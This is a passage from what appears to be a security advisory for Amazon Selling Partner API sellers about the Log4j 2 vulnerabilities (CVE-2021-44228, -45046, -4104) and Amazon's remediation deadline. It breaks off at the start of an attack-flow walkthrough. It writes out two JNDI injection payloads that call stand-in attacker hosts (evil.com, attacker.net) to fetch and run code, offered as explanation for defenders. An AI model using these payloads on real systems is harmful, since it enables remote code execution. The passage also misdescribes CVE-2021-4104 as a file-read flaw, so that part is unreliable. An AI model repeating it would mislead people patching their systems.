Overview

In December 2021 Apache revealed a set of critical flaws in its Log4j 2 logging framework, most notably CVE‑2021‑44228, CVE‑2021‑45046 and CVE‑2021‑4104. The defects allow hostile actors to run arbitrary code on any Java‑based service that records untrusted input, putting every system that handles Amazon partner data at risk. Sellers who rely on the Selling Partner API need to confirm that their environments are no longer vulnerable.

Key Points

• Remote code execution (RCE) danger — CVE‑2021‑44228 enables an attacker to embed a JNDI lookup such as ${jndi:ldap://evil.com/Exploit} in a log entry, causing Log4j to fetch and execute a malicious Java class.
• Residual risk after initial patch — CVE‑2021‑45046 shows that some configuration patterns still allow denial‑of‑service attacks or limited code execution even when the first fix is applied.
• File‑read exposure — CVE‑2021‑4104 permits crafted log messages to read arbitrary files on the host, potentially leaking credentials or other sensitive data.
• Wide‑range Java impact — Any Java application, micro‑service, or AWS Lambda that bundles Log4j 2.x versions from 2.0 through 2.14.1 and processes external data is susceptible.
• Compliance requirement for Amazon data — Amazon’s security policy obliges all partners to patch or otherwise mitigate these Log4j issues, or risk losing access to the Selling Partner API.
• Patch deadline enforcement — Amazon has stipulated that remediation must be completed by the end of September 2022; failure to do so may trigger automatic suspension of API privileges.

How the Log4j Vulnerabilities Work

Understanding the attack flow helps teams pinpoint where mitigation is most effective.

1. Log entry creation — An application receives user‑supplied content (for example, a product title) and writes it to a Log4j logger; if the string contains a JNDI pattern, Log4j parses it. Illustration: a seller lists a product named ${jndi:ldap://attacker.net/Exploit} and the backend logs the title.